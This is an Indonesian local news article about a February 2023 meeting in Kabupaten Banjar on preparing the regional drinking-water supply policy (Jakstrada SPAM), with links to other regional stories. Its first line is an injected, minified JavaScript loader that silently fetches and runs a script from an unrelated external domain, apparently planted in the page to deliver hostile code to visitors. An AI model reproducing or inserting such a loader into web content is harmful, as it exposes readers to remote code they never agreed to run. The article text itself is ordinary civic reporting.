(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bidang Infrastruktur dan Kewilayahan Bappedalitbang Kabupaten Banjar melaksanakan Rapat Koordinasi Persiapan Penyusunan Kebijakan Strategi Daerah (Jakstrada) SPAM Kabupaten Banjar Tahun 2023, Senin (13/2/2023) di Aula Bauntung Bappedalitbang Kabupaten Banjar.
Jakstrada SPAM merupakan Kebijakan Strategis Daerah dalam Sistem Penyediaan Air Minum. Jakstrada SPAM adalah representasi dari RPJMN dan RPJMD. Penyediaan air minum merupakan urusan wajib bagi Pemerintah, baik Pusat, Daerah, maupun Kabupaten/Kota karena menyangkut prasarana dasar, sehingga perlu diprioritaskan pelaksanaannya dan berpedoman kepada standar pelayanan minimal yang ditetapkan oleh Pemerintah Pusat.
Sebagai alat pengatur dalam penyelenggaraan SPAM dengan telah ditetapkannya Undang Undang No 11/1974 tentang pengairan yang diturunkan dengan Peraturan Pemerintah No 122 Tahun 2015 tentang Sistem Penyediaan Air Minum, yang bertujuan untuk tersedianya pelayanan air minum untuk memenuhi “Hak Rakyat Atas Air”.
Guna mencapai tujuan Pemerintah Kabupaten Banjar dalam Penyelenggaraan SPAM dan dalam upaya mewujudkan kesejahteraan masyarakat dengan menjamin kebutuhan pokok air minum yang memenuhi syarat kualitas, kuantitas dan keterjangkauan maka perlu adanya kebijakan dan strategi penyelenggaraan (Jakstrada SPAM) Kabupaten Banjar yang disepakati oleh pemangku kepentingan dalam penyelenggaraan SPAM yang berkualitas.
Baca juga: Saidi Mansyur Resmikan LPM Gapoktan Tunas Harapan
Kabid Infrastruktur Kewilayahan, Herlina Maulidah, didampingi Muhamad Haris, Kasubbid Infrastruktur Bappedalitbang Kabupaten Banjar, menyampaikan, bahwa Jakstrada SPAM Provinsi sebagaimana dimaksud belum disusun sesuai dengan KSNP SPAM, maka substansi rancangan Jakstrada SPAM Kabupaten/Kota perlu dikonsultasikan kepada Direktur Jenderal Cipta Karya.
Diperlukan pengawasan dan pengontrolan dari Pemerintah Daerah bagi swasta yang membuat sistem air minum sendiri serta perlu melibatkan Pemerintah Provinsi dan PT. Air Minum Intan Banjar dalam hal rekomendasi baik pengeboran sumur bor dan system pengelolaan air minum
Dari Dinas Kesehatan Kabupaten Banjar menambahkan perlunya memuat kebijakan terkait Pola Hidup Bersih dan Sehat didalam Dokumen Jakstrada agar nantinya perilaku masyarakat di Kabupaten Banjar dapat berubah dari sektor kesehatan
Kegiatan ini juga dihadiri perwakilan Dinas PUPRP, Dinas Kesehatan, Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Banjar, dan PT Air Minum Intan Banjar. (kanalkalimantan.com/bappedalitbangbanjar)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.